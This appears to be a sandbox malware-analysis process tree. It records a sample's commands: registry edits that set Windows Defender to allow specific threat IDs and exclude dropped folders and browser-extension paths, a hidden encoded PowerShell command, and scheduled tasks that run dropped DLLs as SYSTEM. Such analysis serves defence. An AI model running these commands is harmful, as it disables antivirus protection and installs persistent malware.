C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1496 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:323⤵
- Suspicious use of WriteProcessMemory
PID:2896 -
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:324⤵PID:4032
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:643⤵PID:2544
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:323⤵PID:4648
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:643⤵PID:4304
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:323⤵PID:3056
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:643⤵PID:1492
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:323⤵PID:4676
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:643⤵PID:768
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:323⤵PID:1932
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:643⤵PID:2428
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:323⤵PID:4508
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:643⤵PID:904
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:323⤵PID:1244
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:643⤵PID:3760
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:323⤵PID:2768
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:643⤵PID:3140
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:323⤵PID:964
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:643⤵PID:8
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:323⤵PID:3992
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:643⤵PID:3716
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:323⤵PID:1984
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:643⤵PID:2556
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:323⤵PID:4608
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:643⤵PID:556
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:323⤵PID:3108
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:643⤵PID:2372
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:323⤵PID:2880
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:643⤵PID:1264
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2244 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:323⤵PID:1352
-
C:\Windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:324⤵PID:2000
-
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:643⤵PID:4504
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:323⤵PID:3940
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:643⤵PID:3896
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:323⤵PID:536
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:643⤵PID:1072
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:323⤵PID:1972
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:643⤵PID:1812
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:323⤵PID:4708
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:643⤵PID:3228
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:323⤵PID:1368
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:643⤵PID:2236
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:3812
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:2640
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:323⤵PID:2068
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:643⤵PID:4284
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:323⤵PID:3520
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:643⤵PID:4612
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:323⤵PID:4728
-
-
C:\Windows\SysWOW64\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:643⤵PID:3968
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gOMVBSVuZ" /SC once /ST 04:08:48 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="2⤵
- Creates scheduled task(s)
PID:3264
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gOMVBSVuZ"2⤵PID:3532
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gOMVBSVuZ"2⤵PID:3064
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "MWViHNuTpmRlpInKg" /SC once /ST 04:57:04 /RU "SYSTEM" /TR "\"C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\ZAYmpMn.exe\" Ci /kRsite_idvuY 385118 /S" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:2940
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "MWViHNuTpmRlpInKg"2⤵PID:3588
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1772 -
C:\Windows\system32\gpupdate.exe"C:\Windows\system32\gpupdate.exe" /force2⤵PID:4060
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc1⤵PID:1760
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum1⤵PID:4016
-
C:\Windows\system32\gpscript.exegpscript.exe /RefreshSystemParam1⤵PID:4724
-
C:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\ZAYmpMn.exeC:\Windows\Temp\JHEwijpMlSQrgvQB\pYfKFPLgxLIWjmS\ZAYmpMn.exe Ci /kRsite_idvuY 385118 /S1⤵
- Checks computer location settings
- Executes dropped EXE
- Drops Chrome extension
- Drops desktop.ini file(s)
- Drops file in System32 directory
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
PID:1468 -
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "bpJjqbWMDOjxkYrvBb"2⤵PID:768
-
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &2⤵PID:1840
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"3⤵PID:4644
-
C:\Windows\SysWOW64\cmd.exe/C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True4⤵PID:2544
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True5⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:516 -
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True6⤵
- Suspicious use of AdjustPrivilegeToken
PID:4840
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\qBvbbKpBU\fMBzRV.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "wbeMFPOaxEodGIM" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:3760
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "wbeMFPOaxEodGIM2" /F /xml "C:\Program Files (x86)\qBvbbKpBU\CtbnUXn.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3176
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /END /TN "wbeMFPOaxEodGIM"2⤵PID:2548
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "wbeMFPOaxEodGIM"2⤵PID:1704
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ahmsGQGyepwQnm" /F /xml "C:\Program Files (x86)\fZHZowTYSgfU2\hEkmblJ.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:1732
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "NOwjEMTwOUYCj2" /F /xml "C:\ProgramData\nxeoDZreGracWIVB\arpROrr.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:2004
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "ZeWhkVIxDswmIVkZF2" /F /xml "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\NqZJFnj.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:3204
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "rhpwGKPBtZLjUbFdohf2" /F /xml "C:\Program Files (x86)\epUZFeichsCPC\RPQSZOW.xml" /RU "SYSTEM"2⤵
- Creates scheduled task(s)
PID:4984
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "BinjFlxHFUMMGNOij" /SC once /ST 00:20:25 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\JHEwijpMlSQrgvQB\gzwBWtaL\KRoUlpc.dll\",#1 /unsite_idpqg 385118" /V1 /F2⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:4764
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "BinjFlxHFUMMGNOij"2⤵PID:400
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "MWViHNuTpmRlpInKg"2⤵PID:1656
-
-
